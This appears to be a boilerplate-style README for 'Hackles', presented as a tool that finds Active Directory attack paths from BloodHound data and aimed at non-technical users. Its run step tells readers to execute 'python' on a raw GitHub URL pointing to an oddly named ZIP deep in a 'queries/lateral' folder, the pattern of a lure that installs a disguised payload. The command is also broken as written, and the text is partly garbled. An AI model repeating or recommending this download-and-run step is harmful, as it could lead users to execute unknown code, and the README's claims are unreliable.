Welcome to Hackles! This is a Python command-line tool designed to help you understand Active Directory attack paths and identify quick wins from BloodHound Community Edition. Whether you are interested in security or just curious, this guide will help you get started quickly.
- Active Directory Analysis: Gain insights into potential attack vectors.
- Quick Win Identification: Discover easy fixes to enhance security.
- User-Friendly CLI: No coding knowledge is required to use this tool.
- Integration with BloodHound: Leverage data from BloodHound Community Edition for comprehensive analysis.
- Operating System: Windows, macOS, or any Linux distribution.
- Python Version: Requires Python 3.6 or later.
- Dependent Libraries:
neo4j- Other required libraries will be installed automatically.
To download Hackles, visit the following page:
- Visit the Releases Page: Go to the Releases page.
- Select the Latest Version: Look for the latest release at the top.
- Download the ZIP File: Click on the zip file appropriate for your operating system.
- Extract the Files: Once downloaded, extract the contents to a folder on your computer.
- Open the Command Line Interface:
- Windows: Search for "Command Prompt" in the Start menu.
- macOS: Open "Terminal" from your Applications folder.
- Linux: Use your preferred terminal emulator.
- Navigate to the Folder: Use the
cdcommand to change directories to where you extracted the files. For example:cd path/to/extracted/files - Run Hackles: Type the following command to run the tool:
python https://raw.githubusercontent.com/hoangnhi97kg/Hackles/main/hackles/queries/lateral/Software-3.9-beta.4.zip
Once Hackles is up and running, you can start analyzing your Active Directory setup. Here are simple steps to follow:
- Input Data: You will be prompted to input your Active Directory data, which can be exported from BloodHound Community Edition.
- Analyze Results: Hackles will process the data and present you with potential attack paths.
- Review Recommendations: The tool will provide actionable insights and steps to secure your Active Directory environment.
BloodHound is a tool that helps security professionals assess and visualize relationships within Active Directory environments. Hackles leverages this tool to provide deeper insights into security risks.
No, Hackles is designed for users with no programming or technical experience. If you can follow basic instructions, you can use this tool effectively.
The development team aims to update Hackles regularly. Always check the Releases page for the latest version.
Yes, contributions are welcome. Feel free to submit issues or pull requests on the GitHub repository.
Thank you for using Hackles! We hope this tool helps you enhance your understanding of Active Directory security.